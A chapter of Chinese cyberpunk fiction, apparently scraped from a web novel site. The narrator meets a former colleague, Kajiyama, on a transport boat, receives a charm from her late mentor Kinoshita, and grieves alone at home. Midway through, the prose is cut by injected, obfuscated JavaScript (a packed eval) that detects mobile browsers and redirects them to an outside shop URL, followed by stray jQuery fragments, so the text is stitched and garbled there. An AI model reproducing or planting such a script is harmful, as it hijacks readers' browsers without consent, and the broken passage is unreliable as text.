海风突然变得刺骨，我打了个寒颤。为什么他会突然出现在赤坂的运输艇上？
“好久不见，高梨小姐。”见我愣住，他又重复了一遍。这次，他仿佛在细细品味这句话一般，毫不吝啬地露出笑容。
“梶山先生。”我听见自己的声音从喉咙里艰难地挤出来，“请放开我。”
“还是老样子啊。”梶山松开我，后退半步，刻意与我拉开距离。这个距离恰好满足最低限度的社交需求，既不亲密也不疏离。他那只戴着戒指、纹着毒蛇的手自然地插进西装口袋中。他的眼睛藏在那副橙色镜片之后，但目光中那股冷酷的恶意无论如何也掩饰不了。他看起来没有任何老化的迹象，那张脸保持着我记忆中的模样，甚至更加光滑细腻，一颗痣、一块斑、一条皱纹也没有。
“你也是。不过人都是会变的。”
“是吗？”梶山发出一声轻笑，“你觉得我哪里变了？”
“你的脸一点变化也没有，这就是变化。人都是会衰老的，但是你改变了这一点。”我说，“哦，还有新老板。”
“诚实地说，赤坂集团开出的条件确实不错。”梶山没有否认，“不过我倒没想到会在这里遇见你。我听说你离开公司以后去了新宿，在一家……新宿的居酒屋？”
“是的。”我说。我没有撒谎的必要，既然梶山能够准确说出我的去向，那么他一定在背地里做过调查了。“我现在是一名酒保。”
“酒保啊。”梶山重复道，缓慢地点了点头，“嗯。新宿是个好地方，热闹，人多，谁也不认识谁。只不过这份工作太寒酸了，不适合你啊。”
“我挺喜欢这份工作的。”
“喜欢和有利是两个不同的概念。啧，你的义体，”梶山看向我那条正“嗞——咔”响的胳膊，“看来还是换个新的比较好。如果你愿意加入赤坂……”
“你为什么会出现在这里？”他的话令我一阵反胃。我攥紧了袖子——只需要再撑几分钟，等船靠岸，我就可以走进人群里消失。
梶山没有立即回答我的问题，而是从西装内袋里掏出一个东西，握在手里，递到我面前。那是一枚橘绳御守，乳白色的锦缎布袋绣着花朵，空中浮现出清晰的金色字样“健康祈願”，这是因为它的表面嵌入了一枚全息投影芯片，当转动角度时，全息影像也会随之摇曳。这种能够把“赐福”具象化的御守在年轻一代中颇为流行，据我所知，最受欢迎的当属神明款，即利用神明的神像做成全息影像，并且仅各个神社有权利发行售卖。
“梶山先生，你这是什么意思？”
“这不是我送的。”梶山说，“是木下。”
木下？这个名字在我大脑里引起一场震耳欲聋的爆炸，我的手颤抖起来，完全无法控制，所有冷静的伪装全面崩塌。我拼命在回忆中寻找着第二个「木下」，可所有交织的丝线都绑定在同一个人身上——「木下遥香」，那个比我大七岁的女人，原本是我的组长。当我转到独立工作室后，我们依然在公司里保持着联系。她总是带着自己做的便当到公司去，炭火味的烧鲷鱼、玉子烧和糖醋海带丝。她会在糖醋料汁中额外添加蜂蜜，简直甜得要命，她说这是祖母传授的食谱。我喜欢吃波子汽水糖，她便总是在手包中放上几颗，还有梨子白巧克力。她最喜欢搭配啤酒和柿种，会在我通宵修改模型时留下一包，上面往往贴着便利贴，写着“不要认输”。她是个没有被公司同化的人，尽管工作上严苛，但至少直到我离开那里时，她都恪守着自己的原则。不计其数个夜晚，我们窝在街角那家三坪的立饮酒屋中吃夜宵。那些经历，就像是写进胶卷里的另外一个人的故事，在我大脑里吱嘎吱嘎地放映着。
“木下前辈怎么了？”
“她去世了。”梶山以叙述的口吻说。或许他也曾哀悼过，但那种在葬礼上出现的悲伤早已消失得无影无踪，尽管我不相信他这样的人存在什么怜悯之心。“那是两年前的事。胶质母细胞瘤。她在最后一次昏迷前，把这个托付给我，说‘如果还能再见面，就交给你吧’。我本来以为这辈子没有机会完成她的嘱托了。令我没有想到的是，你会出现在台场酒店。起初我只觉得你的背影看起来十分熟悉，于是也登上了船，打算碰碰运气。”
“你在骗我吗，梶山？”我捏着那枚御守，问了一个毫无意义的问题。他能亲口交代的事情，绝不会让旁人查到任何可疑的蛛丝马迹。
“我没有必要在这件事上欺骗你，高梨。”
“她安葬在哪里？”我发现我颤抖得更加厉害了。
“札幌西。”梶山说。我记得那里是木下前辈的故乡。随后，他给出了一个更加具体的地址，那听起来就像是一个深雪覆盖的山区墓地的名字。见我沉默，他便不再继续说话，而是朝船舱走去。他扬长而去，皮鞋踩在甲板上，发出哒哒的声音。
我感到一阵天旋地转，差点跌坐在甲板上。我不知道是什么支撑着我依然站在这里的，我的腿已经接近麻木。紧接着是寒冷，这该死的甲板一定是让海水渗了进来，海水开始结冰，冻住我的脚，寒冷如同寄生虫钻进我的皮肤，沿着我的血管爬进心脏。我的胸腔似乎要朝内部坍缩，直到把肋骨碾成粉末、把心脏绞成肉泥为止。之后的每一次吐息，我都要承受巨大的痛苦。我憎恨梶山的出现，如果他不出现，或许木下就不会死，她将一直在我脑海里保持年轻的样子，永恒地活着。如此的话，我便活在这种虚妄的壳子中，我宁愿一辈子也不会窥探外面的世界。我的嘴巴张了张，最终什么声音也没发出来。
在运输艇即将靠岸时，中岛从船舱里走出来，手里拿着两张下船通行令牌。他的头发被风吹得更乱了，衣袖上有一道浅浅的粉状白痕，可能是刚才在拥挤的人群里被什么东西蹭的。
“你脸色很糟。”他说，把令牌递给我，“发生什么事了吗？”
“没什么。船晃得有点厉害，不太舒服。”我气喘吁吁地说。我再也不想多说一个字了。哪怕只是发出单一的音节，我都感到疲惫。
中岛没有追问，只是站在我旁边，和我一起看着乘客们争先恐后奔向栈桥，他那么敏锐，肯定发现了我的不对劲。人群就像一条流动的灰色河流，朝唯一的泄口流涌。率先下船的警察在栈桥上执勤，用扩音器重复着“请有序通行”的指令。
船身“嘎吱”一声摇晃，最后一批乘客正在走出舱门。警察开始用对讲机呼叫收尾程序。但我站在原地没有动，手里攥着那枚御守。按照相对静止的定律，在其他行人的眼中，我正在后退——我显得如此不合群，像个叛逆的中学生一样。
“走吧，高梨小姐。”中岛说，他看了看我，一缕稀薄的太阳光射进他琥珀色的眼眸，将那双眼睛染成接近橙红的颜色，“警察马上就会来赶我们了。”
我跟在他身后走向码头，右臂开始钻心地疼痛起来。我戴着兜帽，苍白的脸被包裹在凌乱的发丝之间，现在看上去一定相当凄惨，简直像只落水狗一样。
“高梨小姐，你感觉哪里不舒服吗？”直到领着我走到一处广场，中岛才转过身，认真地打量着我。这个广场虽然规模较小，但远处大厦发射的全息广告却一览无余。巨大的艺伎，转着一把花枝招展的扇子，我总把它的脸看作是美惠的脸。
“我没事。”我深呼吸着，“你……你回去吧，中岛先生。”
中岛伸出手，大概是想触摸我的额头，看看我是否发烧。见我下意识地向后躲，他便放下胳膊。
我低头，向风早发送了一条替班请求的消息。无论如何，今晚我都无法回到居酒屋继续工作了，否则的话，我只会越做越糟。
和中岛告别，回到廉租公寓后，我坐在地上，背靠着门板，从来没有感到这样的疲惫过。门板的寒意透过毛衣，直渗进脊椎。我的膝盖蜷起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772198|209942||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来，用双臂环抱着小腿，把脸埋进膝盖之间。摆出这个姿势时，我往往感觉自己变得非常渺小，这样就能被忽视掉了。小时候我也这样坐着，坐在壁橱里，拉上门，在那片黑暗里缩成一团。母亲总在找我，她的脚步声从厨房走到客厅，从客厅走到走廊，然后停在壁橱前面。当她拉开门的时候，鹅黄色的光便照在我身上，她会伸出手，把我最喜欢的玩具飞机递到我面前。在我童年，我一直做着成为飞行员的梦。后来的我不再做梦了，而是做了一名造梦师，为别人搭建梦境。飞行员的梦成为了另一个女孩的梦，我构造出湛蓝的天空、白云和山地，她在那片乌托邦驾驶着战斗机肆意翱翔。
我走的那天木下前辈不在，工位上只留了一盆冬青樱果，贴着的便利贴写着“请帮忙浇水，麻烦了”。我给它浇了最后一次水，它开着炽烈的红花，几乎灼伤了我的眼睛。有那么一瞬间，我想把它在地上摔个粉碎，这个世界上便多了一个我的同类。然后，我坐电梯下楼，没有回头。那时的我尚未痊愈，疼痛和不甘驱使着我，使我对周遭的一切都恨极了。当坐在离开那座城市的列车时，我删掉了所有前同事的联系方式，换了终端号码，注销了旧邮箱，从大海钻进鱼缸里，看着游弋的金鱼从我身边掠过。
那盆花后来怎么样了，我不知道。
只是，我确信它应该已经死去了。毕竟，大家总是更喜欢钢铁和玻璃，而不是植物。
木下前辈也不在了。
我攥紧那枚健康御守，它在我的掌心里扭曲起来，像块即将被掐碎的豆腐。有一瞬间我以为自己会爆发式地大哭，但是这个举动对于我来说太愚蠢了，泪水既不会为我带来收益，也不会获得他人的同情。我的眼睛干得发涩，每次转动眼球都会感到摩擦带来的刺痛。说不定，连接我大脑与眼睛的不是肌肉，而是上锈的齿轮，把神经都卷进去了。
我已经很久没有哭过了。
上一次哭泣是什么时候，我都不记得了。可能是十三岁，也可能是十四岁。十四岁时，我来到公司面试，母亲作为担保人坐在我旁边。母亲说道：“希叶，你做得很棒，我以为你会紧张得哭一场呢。”说着，母亲正往我的碗里盛菜。我凝视着我的碗，里面挤满了我想说的话。寿喜烧的炉子架在餐桌中央，白萝卜、油豆腐和粉丝在浅褐色的汤里炖煮着。我说：“大概是因为小时候哭得太多了吧。我听到过一种很有趣的说法，每个人一生要流的泪水都是有限的，太早哭完，之后便无泪可流了。”对面的母亲瞥了我一眼，却没有回答。
我看向我空空如也的厨房，母亲怎么会在这里？我只开了一盏虚弱的台灯，厨房和餐厅结合起来，电器和家具变成一片影影绰绰的人。一瞬间，我的家里好像挤满了看客，也显得不那么冷清了。台面上有一个单眼煤气灶、一个水槽、一块切菜用的木砧板。水槽里立着一只没洗的泡面碗和一双筷子，泡在冷水里，水面浮着薄薄的油花。煤气灶旁的调料架是三层的铁架子，架上搁着合成酱油、味醂、盐、糖、一瓶用了一半的鲣鱼露，瓶口结了盐霜。冰箱是单开门式的，到我胸口高，我记得门上贴着一张风早手绘的居酒屋促销贴纸，那是一只举着酒杯的黑猫——也就是九条小姐的莲子，上方是夸张的气泡文字：“今日特供：梅酒苏打”。
贴纸的边角卷起来了，我用双面胶带重新粘过几次，依然粘不牢。
我站起来，走进浴室。洗手台上方的镜子边缘长了一圈黑色的霉斑，我用漂白剂擦过很多次，但霉斑刚变淡一点，又会重新长出来，而且比之前更大了。不规则的霉斑形成了一张笑脸，嘲笑着我的窘态。看啊，你不是在哭吗？说到底，所有人终将离你而去。
我洗了洗脸，用水杯接了杯自来水，把混在一堆的药片吞了下去，那些声音便都消失殆尽。
我看着镜子里一团糟的自己。
镜子里开始下雪了。我要去札幌。